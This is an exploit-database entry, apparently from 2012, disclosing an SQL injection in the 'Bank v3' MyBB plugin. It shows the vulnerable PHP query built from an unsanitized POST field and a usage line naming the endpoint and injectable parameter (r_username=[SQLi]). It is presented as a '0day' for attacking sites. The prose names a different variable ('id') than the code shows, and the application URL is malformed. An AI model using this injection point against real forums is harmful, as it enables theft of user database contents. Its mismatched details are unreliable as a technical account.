MyBB Bank- 3 Plugin - SQL Injection

Author: Red_Hat
type: webapps
platform: php
port: nan
date_added: 2012-12-11 
date_updated: 2012-12-11 
verified: 1 
codes: OSVDB-88352 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.combank-v3.zip

# Exploit Title: Bank v3 MyBB plugin SQLi 0day
# Exploit Author: Red_Hat [NullSec]
# Software Link: http://mods.mybb.com/download/bank-v3
# Tested on: Windows & Linux.

Vulnerable code :

<?php
     $user=$_POST['r_username'];
     $pay=intval($_POST['r_pay']);
     $query_r=$db->query("SELECT * FROM ".TABLE_PREFIX."users WHERE username='$user'");
     $fetch=$db->fetch_array($query_r);
?>

The variable '$mybb->input['id']' remains unsanitized.

Usage :
http://www.site.com/bank.php
/GET transactions=send
/POST r_pay=Red_Hat&r_username=[SQLi]

Shoutout to Zixem <3 & NullSec :3